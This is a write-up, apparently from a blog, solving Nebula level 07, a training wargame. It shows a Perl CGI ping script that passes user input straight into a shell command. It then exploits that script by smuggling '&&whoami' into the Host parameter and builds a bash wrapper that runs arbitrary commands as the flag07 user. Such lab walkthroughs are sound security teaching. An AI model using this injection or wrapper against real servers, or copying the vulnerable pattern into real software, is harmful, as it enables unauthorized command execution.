Nebula Level 07

Level 07 instructions

Level07
The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

To do this level, log in as the level07 account with the password level07. Files for this level can be found in /home/flag07.
#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body>




<pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre>

</body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));


Once again I start out by looking in the home directory for this challenge.

ls -al /home/flag07
total 10
drwxr-x--- 2 flag07 level07  102 2011-11-20 20:39 .
drwxr-xr-x 1 root   root      60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag07 flag07   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag07 flag07  3353 2011-05-18 02:54 .bashrc
-rwxr-xr-x 1 root   root     368 2011-11-20 21:22 index.cgi
-rw-r--r-- 1 flag07 flag07   675 2011-05-18 02:54 .profile
-rw-r--r-- 1 root   root    3719 2011-11-20 21:22 thttpd.conf

thttpd.conf looks like it is probably a configuration file for a http server. A quick google shows that it is for tiny/turbo/throttling HTTP server. I take a look at the contents to see if I can learn anything interesting.

cat /home/flag07/thttpd.conf
# /etc/thttpd/thttpd.conf: thttpd configuration file

# This file is for thttpd processes created by /etc/init.d/thttpd.
# Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.

# Specifies an alternate port number to listen on.
port=7007

# Specifies a directory to chdir() to at startup. This is merely a convenience -
# you could just as easily do a cd in the shell script that invokes the program.
dir=/home/flag07

# Do a chroot() at initialization time, restricting file access to the program's
# current directory. If chroot is the compiled-in default (not the case on
# Debian), then nochroot disables it. See thttpd(8) for details.
nochroot
#chroot

# Specifies a directory to chdir() to after chrooting. If you're not chrooting,
# you might as well do a single chdir() with the dir option. If you are
# chrooting, this lets you put the web files in a subdirectory of the chroot
# tree, instead of in the top level mixed in with the chroot files.
#data_dir=

# Don't do explicit symbolic link checking. Normally, thttpd explicitly expands
# any symbolic links in filenames, to check that the resulting path stays within
# the original document tree. If you want to turn off this check and save some
# CPU time, you can use the nosymlinks option, however this is not
# recommended. Note, though, that if you are using the chroot option, the
# symlink checking is unnecessary and is turned off, so the safe way to save
# those CPU cycles is to use chroot.
#symlinks
#nosymlinks

# Do el-cheapo virtual hosting. If vhost is the compiled-in default (not the
# case on Debian), then novhost disables it. See thttpd(8) for details.
#vhost
#novhost

# Use a global passwd file. This means that every file in the entire document
# tree is protected by the single .htpasswd file at the top of the tree.
# Otherwise the semantics of the .htpasswd file are the same. If this option is
# set but there is no .htpasswd file in the top-level directory, then thttpd
# proceeds as if the option was not set - first looking for a local .htpasswd
# file, and if that doesn't exist either then serving the file without any
# password. If globalpasswd is the compiled-in default (not the case on Debian),
# then noglobalpasswd disables it.
#globalpasswd
#noglobalpasswd

# Specifies what user to switch to after initialization when started as root.
user=flag07

# Specifies a wildcard pattern for CGI programs, for instance "**.cgi" or
# "/cgi-bin/*". See thttpd(8) for details.
cgipat=**.cgi

# Specifies a file of throttle settings. See thttpd(8) for details.
#throttles=/etc/thttpd/throttle.conf

# Specifies a hostname to bind to, for multihoming. The default is to bind to
# all hostnames supported on the local machine. See thttpd(8) for details.
#host=

# Specifies a file for logging. If no logfile option is specified, thttpd logs
# via syslog(). If logfile=/dev/null is specified, thttpd doesn't log at all.
#logfile=/var/log/thttpd.log

# Specifies a file to write the process-id to. If no file is specified, no
# process-id is written. You can use this file to send signals to thttpd. See
# thttpd(8) for details.
#pidfile=

# Specifies the character set to use with text MIME types.
#charset=iso-8859-1

# Specifies a P3P server privacy header to be returned with all responses. See
# http://www.w3.org/P3P/ for details. Thttpd doesn't do anything at all with the
# string except put it in the P3P: response header.
#p3p=

# Specifies the number of seconds to be used in a "Cache-Control: max-age"
# header to be returned with all responses. An equivalent "Expires" header is
# also generated. The default is no Cache-Control or Expires headers, which is
# just fine for most sites.
#max_age=

There is a lot going on in this file but most of it is preceded by comments. The lines that look interesting to me are the following

port=7007
dir=/home/flag07
nochroot
user=flag07

This tells me that there is an HTTP server running on TCP port 7007, it has a root directory of /home/flag07, its execution is not limited to that directory, and it runs with the permissions of the user flag07. I also take a look at the /home/flag07/index.cgi file. It contains the source code that is provided in this challenges instructions. So with this information I know that I should be able to send http requests to the server on port 7007 for index.cgi and I should get a response. Next I examine the source code of index.cgi for flaws that I can take advantage of.

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
	$host = $_[0];

	print("<html><head><title>Ping results</title></head><body>


<pre>");

	@output = `ping -c 3 $host 2>&1`;
	foreach $line (@output) { print "$line"; } 

	print("</pre>

</body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

I’m no perl expert but this code is simple enough to follow. First on line 3 the program initializes CGI which is a technology that can be used to run server side scripting for websites. Next on line 5 the program prints an HTTP header. On line 7 the program defines a function called ping. then finally at line 21 the program calls the ping function with the GET parameter value of “Host”. Diving into the ping function it looks like the Host value is obtained on line 8. An html header is printed on line 10. Then some output is generated on line 12 and printed on lines 13 and 15.

Line 12 is especially interesting. It appears to run a bash command and uses the $host variable as input. It is designed to run a ping against an ip address or hostname and pass back the results but since I control the value of Host I can probably make it do other things as well.

I start by testing the program as it’s intended to be used. I send the request using wget and the -q option to keep wget quiet so I only see the webpages response and the O- option to output to the console instead of a file. I could have done the same thing with a browser like firefox but where is the fun in that!

wget -qO- 127.0.0.1:7007/index.cgi?Host=127.0.0.1
Ping resultsPING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.013 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.027 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.014 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.013/0.018/0.027/0.006 ms

It looks like the CGI script ran “ping -c 3 127.0.0.1 2>&1” as expected and sent me the output. I think bash command chaining will come in handy again here. I send a second command to be run after the ping. I need to URL encode the && characters as %26%26 to make things easier. Otherwise they might not get sent to the server and could be run on my own command prompt instead.

wget -qO- '127.0.0.1:7007/index.cgi?Host=127.0.0.1%26%26whoami'
Ping resultsPING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.015 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.023 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.038 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.015/0.025/0.038/0.010 ms
flag07

Perfect. The output shows the ping results, then it shows the output of the whoami command confirming that the server side script is running as the flag07 user. Basically the challenge is finished now because I can run getflag as the flag07 user but I write a little script to make controlling the server easier.

#!/bin/bash
wget -qO- 127.0.0.1:7007/index.cgi?Host=127.0.0.1%26%26$1 | sed '1,/rtt min/d' | head -n -1

I can pass a parameter to this script and the script will append the parameter to the GET request. The script sends the wget command just like I was doing manually. Next it pipes the output to sed which deletes all of the output before the string “rtt min”. I use this to get rid of the ping information for cleaner output. Finally it pipes the output to head to remove the last line of output which contained the closing html tags.  The result looks like this.

./flag07_shell.sh getflag
You have successfully executed getflag on a target account

Leave a Reply

Your email address will not be published. Required fields are marked *